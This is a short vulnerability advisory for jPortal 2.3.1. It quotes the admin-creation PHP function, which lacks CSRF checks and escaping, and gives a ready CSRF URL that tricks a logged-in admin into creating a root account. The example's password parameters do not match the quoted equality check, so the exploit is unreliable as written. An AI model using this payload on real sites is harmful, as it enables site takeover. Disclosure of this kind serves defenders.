Type: CSRF Attack / Input Validation Error
Remote: Yes
Version: 2.3.1 (very possible, that older versions are vulnerable too)
Problem is in admin/admin.adm.php:

function add_admin() {

 global $name, $mail, $nick_, $action, $user_tbl, $access;
 global $nick, $PHP_SELF, $_pass, $pass_, $acce, $op, $goto;

if($access=='root') {

if($_pass==$pass_) {


if($acce[news]=='') $acce[news]='n';
if($acce[info]=='') $acce[info]='n';
if($acce[art]=='') $acce[art]='n';
if($acce[sonda]=='') $acce[sonda]='n';
if($acce[link]=='') $acce[link]='n';
if($acce[forum]=='') $acce[forum]='n';
if($acce[comm]=='') $acce[comm]='n';
if($acce[menu]=='') $acce[menu]='n';
if($acce[bann]=='') $acce[bann]='n';
if($acce[topic]=='') $acce[topic]='n';
if($acce[file]=='') $acce[file]='n';



if($acce[root]<>'t') {

$acce_ = $acce[news].'-'.$acce[art].'-'.$acce[info].'-'.$acce[sonda].'-'.$acce[link].'-'.$acce[forum].'-'.$acce[comm].'-'.$acce[file].'-'.$acce[menu].'-'.$acce[bann].'-'.$acce[topic];

} else {

$acce_ = 'root';

}


 $query = "INSERT INTO $user_tbl VALUES(NULL, '$nick_', '".md5($_pass)."', '$name', now(), '$acce_', '$mail', 1)";
 $result = mysql_query($query);

 add_log('dodano administratora (ID '.mysql_insert_id().')');


if($goto=='')
header("Location: admin.php?op=$op");
else
header("Location: $goto");
exit;

As we can see, all variables comes from "nowhere" (i.e. it can be POST, GET, even COOKIE) and it's not checked, if script was launched by admin through admin panel or not. Due to this fact, if only admin has logged in and not logged out, if we let him send prepared request, we can get a root account (For example using our profile avatar).

http://vulnerable_jportal/admin.php?op=admin&name=admin&mail=&nick_=admin&_pass=pass&pass_=haslo&acce%5Broot%5D=t&ok=dodaj&goto=&cmd=add

gives us root account with name "admin" and password "pass".

Dżitu
dzitu@poczta.fm